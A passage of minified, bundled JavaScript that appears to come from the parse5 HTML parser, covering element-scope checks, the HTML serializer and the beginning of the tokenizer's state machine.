t=this.stackTop;t>=0;t--)if(this.treeAdapter.getNamespaceURI(this.items[t])===s.NS.HTML)switch(this.tagIDs[t]){case e:return!0;case s.TAG_ID.TABLE:case s.TAG_ID.HTML:return!1}return!0}hasTableBodyContextInTableScope(){for(let e=this.stackTop;e>=0;e--)if(this.treeAdapter.getNamespaceURI(this.items[e])===s.NS.HTML)switch(this.tagIDs[e]){case s.TAG_ID.TBODY:case s.TAG_ID.THEAD:case s.TAG_ID.TFOOT:return!0;case s.TAG_ID.TABLE:case s.TAG_ID.HTML:return!1}return!0}hasInSelectScope(e){for(let t=this.stackTop;t>=0;t--)if(this.treeAdapter.getNamespaceURI(this.items[t])===s.NS.HTML)switch(this.tagIDs[t]){case e:return!0;case s.TAG_ID.OPTION:case s.TAG_ID.OPTGROUP:break;default:return!1}return!0}generateImpliedEndTags(){for(;n.has(this.currentTagId);)this.pop()}generateImpliedEndTagsThoroughly(){for(;i.has(this.currentTagId);)this.pop()}generateImpliedEndTagsWithExclusion(e){for(;this.currentTagId!==e&&i.has(this.currentTagId);)this.pop()}}},37742:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.serialize=function(e,t){const r=Object.assign(Object.assign({},l),t);return o(e,r)?"":u(e,r)},t.serializeOuter=function(e,t){return c(e,Object.assign(Object.assign({},l),t))};const s=r(96854),n=r(41594),i=r(53384),a=new Set([s.TAG_NAMES.AREA,s.TAG_NAMES.BASE,s.TAG_NAMES.BASEFONT,s.TAG_NAMES.BGSOUND,s.TAG_NAMES.BR,s.TAG_NAMES.COL,s.TAG_NAMES.EMBED,s.TAG_NAMES.FRAME,s.TAG_NAMES.HR,s.TAG_NAMES.IMG,s.TAG_NAMES.INPUT,s.TAG_NAMES.KEYGEN,s.TAG_NAMES.LINK,s.TAG_NAMES.META,s.TAG_NAMES.PARAM,s.TAG_NAMES.SOURCE,s.TAG_NAMES.TRACK,s.TAG_NAMES.WBR]);function o(e,t){return t.treeAdapter.isElementNode(e)&&t.treeAdapter.getNamespaceURI(e)===s.NS.HTML&&a.has(t.treeAdapter.getTagName(e))}const l={treeAdapter:i.defaultTreeAdapter,scriptingEnabled:!0};function u(e,t){let r="";const n=t.treeAdapter.isElementNode(e)&&t.treeAdapter.getTagName(e)===s.TAG_NAMES.TEMPLATE&&t.treeAdapter.getNamespaceURI(e)===s.NS.HTML?t.treeAdapter.getTemplateContent(e):e,i=t.treeAdapter.getChildNodes(n);if(i)for(const e of i)r+=c(e,t);return r}function c(e,t){return t.treeAdapter.isElementNode(e)?function(e,t){const r=t.treeAdapter.getTagName(e);return`<${r}${function(e,{treeAdapter:t}){let r="";for(const i of t.getAttrList(e)){if(r+=" ",i.namespace)switch(i.namespace){case s.NS.XML:r+=`xml:${i.name}`;break;case s.NS.XMLNS:"xmlns"!==i.name&&(r+="xmlns:"),r+=i.name;break;case s.NS.XLINK:r+=`xlink:${i.name}`;break;default:r+=`${i.prefix}:${i.name}`}else r+=i.name;r+=`="${(0,n.escapeAttribute)(i.value)}"`}return r}(e,t)}>${o(e,t)?"":`${u(e,t)}</${r}>`}`}(e,t):t.treeAdapter.isTextNode(e)?function(e,t){const{treeAdapter:r}=t,i=r.getTextNodeContent(e),a=r.getParentNode(e),o=a&&r.isElementNode(a)&&r.getTagName(a);return o&&r.getNamespaceURI(a)===s.NS.HTML&&(0,s.hasUnescapedText)(o,t.scriptingEnabled)?i:(0,n.escapeText)(i)}(e,t):t.treeAdapter.isCommentNode(e)?function(e,{treeAdapter:t}){return`\x3c!--${t.getCommentNodeContent(e)}--\x3e`}(e,t):t.treeAdapter.isDocumentTypeNode(e)?function(e,{treeAdapter:t}){return`<!DOCTYPE ${t.getDocumentTypeNodeName(e)}>`}(e,t):""}},73783:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.Tokenizer=t.TokenizerMode=void 0;const s=r(70601),n=r(6746),i=r(14708),a=r(98824),o=r(13246),l=r(96854);var u;function c(e){return e>=n.CODE_POINTS.LATIN_CAPITAL_A&&e<=n.CODE_POINTS.LATIN_CAPITAL_Z}function d(e){return function(e){return e>=n.CODE_POINTS.LATIN_SMALL_A&&e<=n.CODE_POINTS.LATIN_SMALL_Z}(e)||c(e)}function h(e){return d(e)||function(e){return e>=n.CODE_POINTS.DIGIT_0&&e<=n.CODE_POINTS.DIGIT_9}(e)}function f(e){return e+32}function p(e){return e===n.CODE_POINTS.SPACE||e===n.CODE_POINTS.LINE_FEED||e===n.CODE_POINTS.TABULATION||e===n.CODE_POINTS.FORM_FEED}function g(e){return p(e)||e===n.CODE_POINTS.SOLIDUS||e===n.CODE_POINTS.GREATER_THAN_SIGN}!function(e){e[e.DATA=0]="DATA",e[e.RCDATA=1]="RCDATA",e[e.RAWTEXT=2]="RAWTEXT",e[e.SCRIPT_DATA=3]="SCRIPT_DATA",e[e.PLAINTEXT=4]="PLAINTEXT",e[e.TAG_OPEN=5]="TAG_OPEN",e[e.END_TAG_OPEN=6]="END_TAG_OPEN",e[e.TAG_NAME=7]="TAG_NAME",e[e.RCDATA_LESS_THAN_SIGN=8]="RCDATA_LESS_THAN_SIGN",e[e.RCDATA_END_TAG_OPEN=9]="RCDATA_END_TAG_OPEN",e[e.RCDATA_END_TAG_NAME=10]="RCDATA_END_TAG_NAME",e[e.RAWTEXT_LESS_THAN_SIGN=11]="RAWTEXT_LESS_THAN_SIGN",e[e.RAWTEXT_END_TAG_OPEN=12]="RAWTEXT_END_TAG_OPEN",e[e.RAWTEXT_END_TAG_NAME=13]="RAWTEXT_END_TAG_NAME",e[e.SCRIPT_DATA_LESS_THAN_SIGN=14]="SCRIPT_DATA_LESS_THAN_SIGN",e[e.SCRIPT_DATA_END_TAG_OPEN=15]="SCRIPT_DATA_END_TAG_OPEN",e[e.SCRIPT_DATA_END_TAG_NAME=16]="SCRIPT_DATA_END_TAG_NAME",e[e.SCRIPT_DATA_ESCAPE_START=17]="SCRIPT_DATA_ESCAPE_START",e[e.SCRIPT_DATA_ESCAPE_START_DASH=18]="SCRIPT_DATA_ESCAPE_START_DASH",e[e.SCRIPT_DATA_ESCAPED=19]="SCRIPT_DATA_ESCAPED",e[e.SCRIPT_DATA_ESCAPED_DASH=20]="SCRIPT_DATA_ESCAPED_DASH",e[e.SCRIPT_DATA_ESCAPED_DASH_DASH=21]="SCRIPT_DATA_ESCAPED_DASH_DASH",e[e.SCRIPT_DATA_ESCAPED_LESS_THAN_SIGN=22]="SCRIPT_DATA_ESCAPED_LESS_THAN_SIGN",e[e.SCRIPT_DATA_ESCAPED_END_TAG_OPEN=23]="SCRIPT_DATA_ESCAPED_END_TAG_OPEN",e[e.SCRIPT_DATA_ESCAPED_END_TAG_NAME=24]="SCRIPT_DATA_ESCAPED_END_TAG_NAME",e[e.SCRIPT_DATA_DOUBLE_ESCAPE_START=25]="SCRIPT_DATA_DOUBLE_ESCAPE_START",e[e.SCRIPT_DATA_DOUBLE_ESCAPED=26]="SCRIPT_DATA_DOUBLE_ESCAPED",e[e.SCRIPT_DATA_DOUBLE_ESCAPED_DASH=27]="SCRIPT_DATA_DOUBLE_ESCAPED_DASH",e[e.SCRIPT_DATA_DOUBLE_ESCAPED_DASH_DASH=28]="SCRIPT_DATA_DOUBLE_ESCAPED_DASH_DASH",e[e.SCRIPT_DATA_DOUBLE_ESCAPED_LESS_THAN_SIGN=29]="SCRIPT_DATA_DOUBLE_ESCAPED_LESS_THAN_SIGN",e[e.SCRIPT_DATA_DOUBLE_ESCAPE_END=30]="SCRIPT_DATA_DOUBLE_ESCAPE_END",e[e.BEFORE_ATTRIBUTE_NAME=31]="BEFORE_ATTRIBUTE_NAME",e[e.ATTRIBUTE_NAME=32]="ATTRIBUTE_NAME",e[e.AFTER_ATTRIBUTE_NAME=33]="AFTER_ATTRIBUTE_NAME",e[e.BEFORE_ATTRIBUTE_VALUE=34]="BEFORE_ATTRIBUTE_VALUE",e[e.ATTRIBUTE_VALUE_DOUBLE_QUOTED=35]="ATTRIBUTE_VALUE_DOUBLE_QUOTED",e[e.ATTRIBUTE_VALUE_SINGLE_QUOTED=36]="ATTRIBUTE_VALUE_SINGLE_QUOTED",e[e.ATTRIBUTE_VALUE_UNQUOTED=37]="ATTRIBUTE_VALUE_UNQUOTED",e[e.AFTER_ATTRIBUTE_VALUE_QUOTED=38]="AFTER_ATTRIBUTE_VALUE_QUOTED",e[e.SELF_CLOSING_START_TAG=39]="SELF_CLOSING_START_TAG",e[e.BOGUS_COMMENT=40]="BOGUS_COMMENT",e[e.MARKUP_DECLARATION_OPEN=41]="MARKUP_DECLARATION_OPEN",e[e.COMMENT_START=42]="COMMENT_START",e[e.COMMENT_START_DASH=43]="COMMENT_START_DASH",e[e.COMMENT=44]="COMMENT",e[e.COMMENT_LESS_THAN_SIGN=45]="COMMENT_LESS_THAN_SIGN",e[e.COMMENT_LESS_THAN_SIGN_BANG=46]="COMMENT_LESS_THAN_SIGN_BANG",e[e.COMMENT_LESS_THAN_SIGN_BANG_DASH=47]="COMMENT_LESS_THAN_SIGN_BANG_DASH",e[e.COMMENT_LESS_THAN_SIGN_BANG_DASH_DASH=48]="COMMENT_LESS_THAN_SIGN_BANG_DASH_DASH",e[e.COMMENT_END_DASH=49]="COMMENT_END_DASH",e[e.COMMENT_END=50]="COMMENT_END",e[e.COMMENT_END_BANG=51]="COMMENT_END_BANG",e[e.DOCTYPE=52]="DOCTYPE",e[e.BEFORE_DOCTYPE_NAME=53]="BEFORE_DOCTYPE_NAME",e[e.DOCTYPE_NAME=54]="DOCTYPE_NAME",e[e.AFTER_DOCTYPE_NAME=55]="AFTER_DOCTYPE_NAME",e[e.AFTER_DOCTYPE_PUBLIC_KEYWORD=56]="AFTER_DOCTYPE_PUBLIC_KEYWORD",e[e.BEFORE_DOCTYPE_PUBLIC_IDENTIFIER=57]="BEFORE_DOCTYPE_PUBLIC_IDENTIFIER",e[e.DOCTYPE_PUBLIC_IDENTIFIER_DOUBLE_QUOTED=58]="DOCTYPE_PUBLIC_IDENTIFIER_DOUBLE_QUOTED",e[e.DOCTYPE_PUBLIC_IDENTIFIER_SINGLE_QUOTED=59]="DOCTYPE_PUBLIC_IDENTIFIER_SINGLE_QUOTED",e[e.AFTER_DOCTYPE_PUBLIC_IDENTIFIER=60]="AFTER_DOCTYPE_PUBLIC_IDENTIFIER",e[e.BETWEEN_DOCTYPE_PUBLIC_AND_SYSTEM_IDENTIFIERS=61]="BETWEEN_DOCTYPE_PUBLIC_AND_SYSTEM_IDENTIFIERS",e[e.AFTER_DOCTYPE_SYSTEM_KEYWORD=62]="AFTER_DOCTYPE_SYSTEM_KEYWORD",e[e.BEFORE_DOCTYPE_SYSTEM_IDENTIFIER=63]="BEFORE_DOCTYPE_SYSTEM_IDENTIFIER",e[e.DOCTYPE_SYSTEM_IDENTIFIER_DOUBLE_QUOTED=64]="DOCTYPE_SYSTEM_IDENTIFIER_DOUBLE_QUOTED",e[e.DOCTYPE_SYSTEM_IDENTIFIER_SINGLE_QUOTED=65]="DOCTYPE_SYSTEM_IDENTIFIER_SINGLE_QUOTED",e[e.AFTER_DOCTYPE_SYSTEM_IDENTIFIER=66]="AFTER_DOCTYPE_SYSTEM_IDENTIFIER",e[e.BOGUS_DOCTYPE=67]="BOGUS_DOCTYPE",e[e.CDATA_SECTION=68]="CDATA_SECTION",e[e.CDATA_SECTION_BRACKET=69]="CDATA_SECTION_BRACKET",e[e.CDATA_SECTION_END=70]="CDATA_SECTION_END",e[e.CHARACTER_REFERENCE=71]="CHARACTER_REFERENCE",e[e.AMBIGUOUS_AMPERSAND=72]="AMBIGUOUS_AMPERSAND"}(u||(u={})),t.TokenizerMode={DATA:u.DATA,RCDATA:u.RCDATA,RAWTEXT:u.RAWTEXT,SCRIPT_DATA:u.SCRIPT_DATA,PLAINTEXT:u.PLAINTEXT,CDATA_SECTION:u.CDATA_SECTION},t.Tokenizer=class{constructor(e,t){this.options=e,this.handler=t,this.paused=!1,this.inLoop=!1,this.inForeignNode=!1,this.lastStartTagName="",this.active=!1,this.state=u.DATA,this.returnState=u.DATA,this.entityStartPos=0,this.consumedAfterSnapshot=-1,this.currentCharacterToken=null,this.currentToken=null,this.currentAttr={name:"",value:""},this.preprocessor=new s.Preprocessor(t),this.currentLocation=this.getCurrentLocation(-1),this.entityDecoder=new a.EntityDecoder(a.htmlDecodeTree,((e,t)=>{this.preprocessor.pos=this.entityStartPos+t-1,this._flushCodePointConsumedAsCharacterReference(e)}),t.onParseError?{missingSemicolonAfterCharacterReference:()=>{this._err(o.ERR.missingSemicolonAfterCharacterReference,1)},absenceOfDigitsInNumericCharacterReference:e=>{this._err(o.ERR.absenceOfDigitsInNumericCharacterReference,this.entityStartPos-this.preprocessor.pos+e)},validateNumericCharacterReference:e=>{const t=function(e){return e===n.CODE_POINTS.NULL?o.ERR.nullCharacterReference:e>1114111?o.ERR.characterReferenceOutsideUnicodeRange:(0,n.isSurrogate)(e)?o.ERR.surrogateCharacterReference:(0,n.isUndefinedCodePoint)(e)?o.ERR.noncharacterCharacterReference:(0,n.isControlCodePoint)(e)||e===n.CODE_POINTS.CARRIAGE_RETURN?o.ERR.controlCharacterReference:null}(e);t&&this._err(t,1)}}:void 0)}_err(e,t=0){var r,s;null===(s=(r=this.handler).onParseError)||void 0===s||s.call(r,this.preprocessor.getError(e,t))}getCurrentLocation(e){return this.options.sourceCodeLocationInfo?{startLine:this.preprocessor.line,startCol:this.preprocessor.col-e,startOffset:this.preprocessor.offset-e,endLine:-1,endCol:-1,endOffset:-1}:null}_runParsingLoop(){if(!this.inLoop){for(this.inLoop=!0;this.active&&!this.paused;){this.consumedAfterSnapshot=0;const e=this._consume();this._ensureHibernation()||this._callState(e)}this.inLoop=!1}}pause(){this.paused=!0}resume(e){if(!this.paused)throw new Error("Parser was already resumed");this.paused=!1,this.inLoop||(this._runParsingLoop(),this.paused||null==e||e())}write(e,t,r){this.active=!0,this.preprocessor.write(e,t),this._runParsingLoop(),this.paused||null==r||r()}insertHtmlAtCurrentPos(e){this.active=!0,this.preprocessor.insertHtmlAtCurrentPos(e),this._runParsingLoop()}_ensureHibernation(){return!!this.preprocessor.endOfChunkHit&&(this.preprocessor.retreat(this.consumedAfterSnapshot),this.consumedAfterSnapshot=0,this.active=!1,!0)}_consume(){return this.consumedAfterSnapshot++,this.preprocessor.advance()}_advanceBy(e){this.consumedAfterSnapshot+=e;for(let t=0;t<e;t++)this.preprocessor.advance()}_consumeSequenceIfMatch(e,t){return!!this.preprocessor.startsWith(e,t)&&(this._advanceBy(e.length-1),!0)}_createStartTagToken(){this.currentToken={type:i.TokenType.START_TAG,tagName:"",tagID:l.TAG_ID.UNKNOWN,selfClosing:!1,ackSelfClosing:!1,attrs:[],location:this.getCurrentLocation(1)}}_createEndTagToken(){this.currentToken={type:i.TokenType.END_TAG,tagName:"",tagID:l.TAG_ID.UNKNOWN,selfClosing:!1,ackSelfClosing:!1,attrs:[],location:this.getCurrentLocation(2)}}_createCommentToken(e){this.currentToken={type:i.TokenType.COMMENT,data:"",location:this.getCurrentLocation(e)}}_createDoctypeToken(e){this.currentToken={type:i.TokenType.DOCTYPE,name:e,forceQuirks:!1,publicId:null,systemId:null,location:this.currentLocation}}_createCharacterToken(e,t){this.currentCharacterToken={type:e,chars:t,location:this.currentLocation}}_createAttr(e){this.currentAttr={name:e,value:""},this.currentLocation=this.getCurrentLocation(0)}_leaveAttrName(){var e,t;const r=this.currentToken;null===(0,i.getTokenAttr)(r,this.currentAttr.name)?(r.attrs.push(this.currentAttr),r.location&&this.currentLocation&&((null!==(e=(t=r.location).attrs)&&void 0!==e?e:t.attrs=Object.create(null))[this.currentAttr.name]=this.currentLocation,this._leaveAttrValue())):this._err(o.ERR.duplicateAttribute)}_leaveAttrValue(){this.currentLocation&&(this.currentLocation.endLine=this.preprocessor.line,this.currentLocation.endCol=this.preprocessor.col,this.currentLocation.endOffset=this.preprocessor.offset)}prepareToken(e){this._emitCurrentCharacterToken(e.location),this.currentToken=null,e.location&&(e.location.endLine=this.preprocessor.line,e.location.endCol=this.preprocessor.col+1,e.location.endOffset=this.preprocessor.offset+1),this.currentLocation=this.getCurrentLocation(-1)}emitCurrentTagToken(){const e=this.currentToken;this.prepareToken(e),e.tagID=(0,l.getTagID)(e.tagName),e.type===i.TokenType.START_TAG?(this.lastStartTagName=e.tagName,this.handler.onStartTag(e)):(e.attrs.length>0&&this._err(o.ERR.endTagWithAttributes),e.selfClosing&&this._err(o.ERR.endTagWithTrailingSolidus),this.handler.onEndTag(e)),this.preprocessor.dropParsedChunk()}emitCurrentComment(e){this.prepareToken(e),this.handler.onComment(e),this.preprocessor.dropParsedChunk()}emitCurrentDoctype(e){this.prepareToken(e),this.handler.onDoctype(e),this.preprocessor.dropParsedChunk()}_emitCurrentCharacterToken(e){if(this.currentCharacterToken){switch(e&&this.currentCharacterToken.location&&(this.currentCharacterToken.location.endLine=e.startLine,this.currentCharacterToken.location.endCol=e.startCol,this.currentCharacterToken.location.endOffset=e.startOffset),this.currentCharacterToken.type){case i.TokenType.CHARACTER:this.handler.onCharacter(this.currentCharacterToken);break;case i.TokenType.NULL_CHARACTER:this.handler.onNullCharacter(this.currentCharacterToken);break;case i.TokenType.WHITESPACE_CHARACTER:this.handler.onWhitespaceCharacter(this.currentCharacterToken)}this.currentCharacterToken=null}}_emitEOFToken(){const e=this.getCurrentLocation(0);e&&(e.endLine=e.startLine,e.endCol=e.startCol,e.endOffset=e.startOffset),this._emitCurrentCharacterToken(e),this.handler.onEof({type:i.TokenType.EOF,location:e}),this.active=!1}_appendCharToCurrentCharacterToken(e,t){if(this.currentCharacterToken){if(this.currentCharacterToken.type===e)return void(this.currentCharacterToken.chars+=t);this.currentLocation=this.getCurrentLocation(0),this._emitCurrentCharacterToken(this.currentLocation),this.preprocessor.dropParsedChunk()}this._createCharacterToken(e,t)}_emitCodePoint(e){const t=p(e)?i.TokenType.WHITESPACE_CHARACTER:e===n.CODE_POINTS.NULL?i.TokenType.NULL_CHARACTER:i.TokenType.CHARACTER;this._appendCharToCurrentCharacterToken(t,String.fromCodePoint(e))}_emitChars(e){this._appendCharToCurrentCharacterToken(i.TokenType.CHARACTER,e)}_startCharacterReference(){this.returnState=this.state,this.state=u.CHARACTER_REFERENCE,this.entityStartPos=this.preprocessor.pos,this.entityDecoder.startEntity(this._isCharacterReferenceInAttribute()?a.DecodingMode.Attribute:a.DecodingMode.Legacy)}_isCharacterReferenceInAttribute(){return this.returnState===u.ATTRIBUTE_VALUE_DOUBLE_QUOTED||this.returnState===u.ATTRIBUTE_VALUE_SINGLE_QUOTED||this.returnState===u.ATTRIBUTE_VALUE_UNQUOTED}_flushCodePointConsumedAsCharacterReference(e){this._isCharacterReferenceInAttribute()?this.currentAttr.value+=String.fromCodePoint(e):this._emitCodePoint(e)}_callState(e){switch(this.state){case u.DATA:this._stateData(e);break;case u.RCDATA:this._stateRcdata(e);break;case u.RAWTEXT:this._stateRawtext(e);break;case u.SCRIPT_DATA:this._stateScriptData(e);break;case u.PLAINTEXT:this._statePlaintext(e);break;case u.TAG_OPEN:this._stateTagOpen(e);break;case u.END_TAG_OPEN:this._stateEndTagOpen(e);break;case u.TAG_NAME:this._stateTagName(e);break;case u.RCDATA_LESS_THAN_SIGN:this._stateRcdataLessThanSign(e);break;case u.RCDATA_END_TAG_OPEN:this._stateRcdataEndTagOpen(e);break;case u.RCDATA_END_TAG_NAME:this._stateRcdataEndTagName(e);break;case u.RAWTEXT_LESS_THAN_SIGN:this._stateRawtextLessThanSign(e);break;case u.RAWTEXT_END_TAG_OPEN:this._stateRawtextEndTagOpen(e);break;case u.RAWTEXT_END_TAG_NAME:this._stateRawtextEndTagName(e);break;case u.SCRIPT_DATA_LESS_THAN_SIGN:this._stateScriptDataLessThanSign(e);break;case u.SCRIPT_DATA_END_TAG_OPEN:this._stateScriptDataEndTagOpen(e);break;case u.SCRIPT_DATA_END_TAG_NAME:this._stateScriptDataEndTagName(e);break;case u.SCRIPT_DATA_ESCAPE_START:this._stateScriptDataEscapeStart(e);break;case u.SCRIPT_DATA_ESCAPE_START_DASH:this._stateScriptDataEscapeStartDash(e);break;case u.SCRIPT_DATA_ESCAPED:this._stateScriptDataEscaped(e);break;case u.SCRIPT_DATA_ESCAPED_DASH:this._stateScriptDataEscapedDash(e);break;case u.SCRIPT_DATA_ESCAPED_DASH_DASH:this._stateScriptDataEscapedDashDash(e);break;case u.SCRIPT_DATA_ESCAPED_LESS_THAN_SIGN:this._stateScriptDataEscapedLessThanSign(e);break;case u.SCRIPT_DATA_ESCAPED_END_TAG_OPEN:this._stateScriptDataEscapedEndTagOpen(e);break;case u.SCRIPT_DATA_ESCAPED_END_TAG_NAME:this._stateScriptDataEscapedEndTagName(e);break;case u.SCRIPT_DATA_DOUBLE_ESCAPE_START:this._stateScriptDataDoubleEscapeStart(e);break;case u.SCRIPT_DATA_DOUBLE_ESCAPED:this._stateScriptDataDoubleEscaped(e);break;case u.SCRIPT_DATA_DOUBLE_ESCAPED_DASH:this._stateScriptDataDoubleEscapedDash(e);break;case u.SCRIPT_DATA_DOUBLE_ESCAPED_DASH_DASH:this._stateScriptDataDoubleEscapedDashDash(e);break;case u.SCRIPT_DATA_DOUBLE_ESCAPED_LESS_THAN_SIGN:this._stateScriptDataDoubleEscapedLessThanSign(e);break;case u.SCRIPT_DATA_DOUBLE_ESCAPE_END:this._stateScriptDataDoubleEscapeEnd(e);break;case u.BEFORE_ATTRIBUTE_NAME:this._stateBeforeAttributeName(e);break;case u.ATTRIBUTE_NAME:this._stateAttributeName(e);break;case u.AFTER_ATTRIBUTE_NAME:this._stateAfterAttributeName(e);break;case u.BEFORE_ATTRIBUTE_VALUE:this._stateBeforeAttributeValue(e);break;case u.ATTRIBUTE_VALUE_DOUBLE_QUOTED:this._stateAttributeValueDoubleQuoted(e);break;case u.ATTRIBUTE_VALUE_SINGLE_QUOTED:this._stateAttributeValueSingleQuoted(e);break;case u.ATTRIBUTE_VALUE_UNQUOTED:this._stateAttributeValueUnquoted(e);break;case u.AFTER_ATTRIBUTE_VALUE_QUOTED:this._stateAfterAttributeValueQuoted(e);break;case u.SELF_CLOSING_START_TAG:this._stateSelfClosingStartTag(e);break;case u.BOGUS_COMMENT:this._stateBogusComment(e);break;case u.MARKUP_DECLARATION_OPEN:this._stateMarkupDeclarationOpen(e);break;case u.COMMENT_START:this._stateCommentStart(e);break;case u.COMMENT_START_DASH:this._stateCommentStartDash(e);break;case u.COMMENT:this._stateComment(e);break;case u.COMMENT_LESS_THAN_SIGN:this._stateCommentLessThanSign(e);break;case u.COMMENT_LESS_THAN_SIGN_BANG:this._stateCommentLessThanSignBang(e);break;case u.COMMENT_LESS_THAN_SIGN_BANG_DASH:this._stateCommentLessThanSignBangDash(e);break;case u.COMMENT_LESS_THAN_SIGN_BANG_DASH_DASH:this._stateCommentLessThanSignBangDashDash(e);break;case u.COMMENT_END_DASH:this._stateCommentEndDash(e);break;case u.COMMENT_END:this._stateCommentEnd(e);break;case u.COMMENT_END_BANG:this._stateCommentEndBang(e);break;case u.DOCTYPE:this._stateDoctype(e);break;case u.BEFORE_DOCTYPE_NAME:this._stateBeforeDoctypeName(e);break;case u.DOCTYPE_NAME:this._stateDoctypeName(e);break;case u.AFTER_DOCTYPE_NAME:this._stateAfterDoctypeName(e);break;case u.AFTER_DOCTYPE_PUBLIC_KEYWORD:this._stateAfterDoctypePublicKeyword(e);break;case u.BEFORE_DOCTYPE_PUBLIC_IDENTIFIER:this._stateBeforeDoctypePublicIdentifier(e);break;case u.DOCTYPE_PUBLIC_IDENTIFIER_DOUBLE_QUOTED:this._stateDoctypePublicIdentifierDoubleQuoted(e);break;case u.DOCTYPE_PUBLIC_IDENTIFIER_SINGLE_QUOTED:this._stateDoctypePublicIdentifierSingleQuoted(e);break;case u.AFTER_DOCTYPE_PUBLIC_IDENTIFIER:this._stateAfterDoctypePublicIdentifier(e);break;case u.BETWEEN_DOCTYPE_PUBLIC_AND_SYSTEM_IDENTIFIERS:this._stateBetweenDoctypePublicAndSystemIdentifiers(e);break;case u.AFTER_DOCTYPE_SYSTEM_KEYWORD:this._stateAfterDoctypeSystemKeyword(e);break;case u.BEFORE_DOCTYPE_SYSTEM_IDENTIFIER:this._stateBeforeDoctypeSystemIdentifier(e);break;case u.DOCTYPE_SYSTEM_IDENTIFIER_DOUBLE_QUOTED:this._stateDoctypeSystemIdentifierDoubleQuoted(e);break;case u.DOCTYPE_SYSTEM_IDENTIFIER_SINGLE_QUOTED:this._stateDoctypeSystemIdentifierSingleQuoted(e);break;case u.AFTER_DOCTYPE_SYSTEM_IDENTIFIER:this._stateAfterDoctypeSystemIdentifier(e);break;case u.BOGUS_DOCTYPE:this._stateBogusDoctype(e);break;case u.CDATA_SECTION:this._stateCdataSection(e);break;case u.CDATA_SECTION_BRACKET:this._stateCdataSectionBracket(e);break;case u.CDATA_SECTION_END:this._stateCdataSectionEnd(e);break;case u.CHARACTER_REFERENCE:this._stateCharacterReference();break;case u.AMBIGUOUS_AMPERSAND:this._stateAmbiguousAmpersand(e);break;default:throw new Error("Unknown state")}}_stateData(e){switch(e){case n.CODE_POINTS.LESS_THAN_SIGN:this.state=u.TAG_OPEN;break;case n.CODE_POINTS.AMPERSAND:this._startCharacterReference();break;case n.CODE_POINTS.NULL:this._err(o.ERR.unexpectedNullCharacter),this._emitCodePoint(e);break;case n.CODE_POINTS.EOF:this._emitEOFToken();break;default:this._emitCodePoint(e)}}_stateRcdata(e){switch(e){case n.CODE_POINTS.AMPERSAND:this._startCharacterReference();break;case n.CODE_POINTS.LESS_THAN_SIGN:this.state=u.RCDATA_LESS_THAN_SIGN;break;case n.CODE_POINTS.NULL:this._err(o.ERR.unexpectedNullCharacter),this._emitChars(n.REPLACEMENT_CHARACTER);break;case n.CODE_POINTS.EOF:this._emitEOFToken();break;default:this._emitCodePoint(e)}}_stateRawtext(e){switch(e){case n.CODE_POINTS.LESS_THAN_SIGN:this.state=u.RAWTEXT_LESS_THAN_SIGN;break;case n.CODE_POINTS.NULL:this._err(o.ERR.unexpectedNullCharacter),this._emitChars(n.REPLACEMENT_CHARACTER);break;case n.CODE_POINTS.EOF:this._emitEOFToken();break;default:this._emitCodePoint(e)}}_stateScriptData(e){switch(e){case n.CODE_POINTS.LESS_THAN_SIGN:this.state=u.SCRIPT_DATA_LESS_THAN_SIGN;break;case n.CODE_POINTS.NULL:this._err(o.ERR.unexpectedNullCharacter),this._emitChars(n.REPLACEMENT_CHARACTER);break;case n.CODE_POINTS.EOF:this._emitEOFToken();break;default:this._emitCodePoint(e)}}_statePlaintext(e){switch(e){case n.CODE_POINTS.NULL:this._err(o.ERR.unexpectedNullCharacter),this._emitChars(n.REPLACEMENT_CHARACTER);break;case n.CODE_POINTS.EOF:this._emitEOFToken();break;default:this._emitCodePoint(e)}}_stateTagOpen(e){if(d(e))this._createStartTagToken(),this.state=u.TAG_NAME,this._stateTagName(e);else switch(e){case n.CODE_POINTS.EXCLAMATION_MARK:this.state=u.MARKUP_DECLARATION_OPEN;break;case n.CODE_POINTS.SOLIDUS:this.state=u.END_TAG_OPEN;break;case n.CODE_POINTS.QUESTION_MARK:this._err(o.ERR.unexpectedQuestionMarkInsteadOfTagName),this._createCommentToken(1),this.state=u.BOGUS_COMMENT,this._stateBogusComment(e);break;case n.CODE_POINTS.EOF:this._err(o.ERR.eofBeforeTagName),this._emitChars("<"),this._emitEOFToken();break;default:this._err(o.ERR.invalidFirstCharacterOfTagName),this._emitChars("<"),this.state=u.DATA,this._stateData(e)}}_stateEndTagOpen(e){if(d(e))this._createEndTagToken(),this.state=u.TAG_NAME,this._stateTagName(e);else switch(e){case n.CODE_POINTS.GREATER_THAN_SIGN:this._err(o.ERR.missingEndTagName),this.state=u.DATA;break;case n.CODE_POINTS.EOF:this._err(o.ERR.eofBeforeTagName),this._emitChars("</"),this._emitEOFToken();break;default:this._err(o.ERR.invalidFirstCharacterOfTagName),this._createCommentToken(2),this.state=u.BOGUS_COMMENT,this._stateBogusComment(e)}}_stateTagName(e){const t=this.currentToken;switch(e){case n.CODE_POINTS.SPACE:case n.CODE_POINTS.LINE_FEED:case n.CODE_POINTS.TABULATION:case n.CODE_POINTS.FORM_FEED:this.state=u.BEFORE_ATTRIBUTE_NAME;break;case n.CODE_POINTS.SOLIDUS:this.state=u.SELF_CLOSING_START_TAG;break;case n.CODE_POINTS.GREATER_THAN_SIGN:this.state=u.DATA,this.emitCurrentTagToken();break;case n.CODE_POINTS.NULL:this._err(o.ERR.unexpectedNullCharacter),t.tagName+=n.REPLACEMENT_CHARACTER;break;case n.CODE_POINTS.EOF:this._err(o.ERR.eofInTag),this._emitEOFToken();break;default:t.tagName+=String.fromCodePoint(c(e)?f(e):e)}}_stateRcdataLessThanSign(e){e===n.CODE_POINTS.SOLIDUS?this.state=u.RCDATA_END_TAG_OPEN:(this._emitChars("<"),this.state=u.RCDATA,this._stateRcdata(e))}_stateRcdataEndTagOpen(e){d(e)?(this.state=u.RCDATA_END_TAG_NAME,this._stateRcdataEndTagName(e)):(this._emitChars("</"),this.state=u.RCDATA,this._stateRcdata(e))}handleSpecialEndTag(e){if(!this.preprocessor.startsWith(this.lastStartTagName,!1))return!this._ensureHibernation();switch(this._createEndTagToken(),this.currentToken.tagName=this.lastStartTagName,this.preprocessor.peek(this.lastStartTagName.length)){case n.CODE_POINTS.SPACE:case n.CODE_POINTS.LINE_FEED:case n.CODE_POINTS.TABULATION:case n.CODE_POINTS.FORM_FEED:return this._advanceBy(this.lastStartTagName.length),this.state=u.BEFORE_ATTRIBUTE_NAME,!1;case 